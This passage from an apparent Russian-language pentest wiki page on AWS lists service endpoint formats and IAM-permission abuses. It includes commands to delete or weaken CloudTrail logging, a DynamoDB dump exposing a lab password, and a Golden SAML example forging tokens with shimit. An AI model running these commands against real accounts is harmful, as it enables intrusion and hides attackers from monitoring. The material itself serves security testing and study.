&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения.&lt;br /&gt;
&lt;br /&gt;
[[File:A2i.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль .&lt;br /&gt;
&lt;br /&gt;
При создании задачи разделяется на 3 варианта:&lt;br /&gt;
&lt;br /&gt;
* Textract - извлечение пары ключ-значение из текста&lt;br /&gt;
&lt;br /&gt;
* Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента.&lt;br /&gt;
&lt;br /&gt;
* Custom - пользовательский вариант&lt;br /&gt;
&lt;br /&gt;
Интересный факт - использует &amp;quot;Quill Rich Text Editor&amp;quot; для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов:&lt;br /&gt;
&lt;br /&gt;
1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить.&lt;br /&gt;
&lt;br /&gt;
2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito.&lt;br /&gt;
&lt;br /&gt;
3. Vendor - решения сторонних разработчиков.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли ===&lt;br /&gt;
&lt;br /&gt;
==== AmazonAugmentedAIIntegratedAPIAccess ====&lt;br /&gt;
&lt;br /&gt;
Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API.&lt;br /&gt;
&lt;br /&gt;
TODO: проверить, дает ли это еще возможностей злоумышленнику&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
Автоматизируйте проверку кода и оптимизируйте производительность приложений с помощью рекомендаций на базе машинного обучения&lt;br /&gt;
&lt;br /&gt;
[[File:Aws codeguru.png| 1000px]]&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
Разделяется на следующие части:&lt;br /&gt;
&lt;br /&gt;
- Reviewer - выявляет критические проблемы, уязвимости системы безопасности и трудноуловимые ошибки + дает рекомендации (языки Java и Python) - статикой.&lt;br /&gt;
&lt;br /&gt;
- Profiler - выявление самых дорогостоящих строк, повышение производительности и тд засчет запуска в среде выполнения. Важно особенно для тех, кто платит за время работы скриптов.&lt;br /&gt;
&lt;br /&gt;
Также на странице есть упоминание про их игру - BugBust &lt;br /&gt;
&lt;br /&gt;
https://us-east-1.console.aws.amazon.com/codeguru/bugbust/participant#/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
Сервис по извлечению ценной информации из текста и работе с ним.&lt;br /&gt;
&lt;br /&gt;
[[File:Aws comprehend.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
Список категорий, на которые может разбить текст, есть на фото выше.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Для пользовательских настроек есть несколько параметров:&lt;br /&gt;
&lt;br /&gt;
- Кастомные классификации&lt;br /&gt;
&lt;br /&gt;
- Кастомные определения вставок в тексте&lt;br /&gt;
&lt;br /&gt;
- Endpoints - для real-time работы. !!! Достаточно дорогой сервис. В месяц берет 1400$ при минимальной сборке, поэтому если злоумышленник сможет запускать в нем Endpoint'ы в большом количестве, то компания обанкротится.&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
Собирает метрики из различных сервисов и детектит различные аномалии. Проще говоря, делает статистику по метрикам и с машинным обучением находит ошибки.&lt;br /&gt;
&lt;br /&gt;
Источники метрик:&lt;br /&gt;
&lt;br /&gt;
* CloudWatch&lt;br /&gt;
&lt;br /&gt;
* AWS Config&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
&lt;br /&gt;
* X-Ray&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
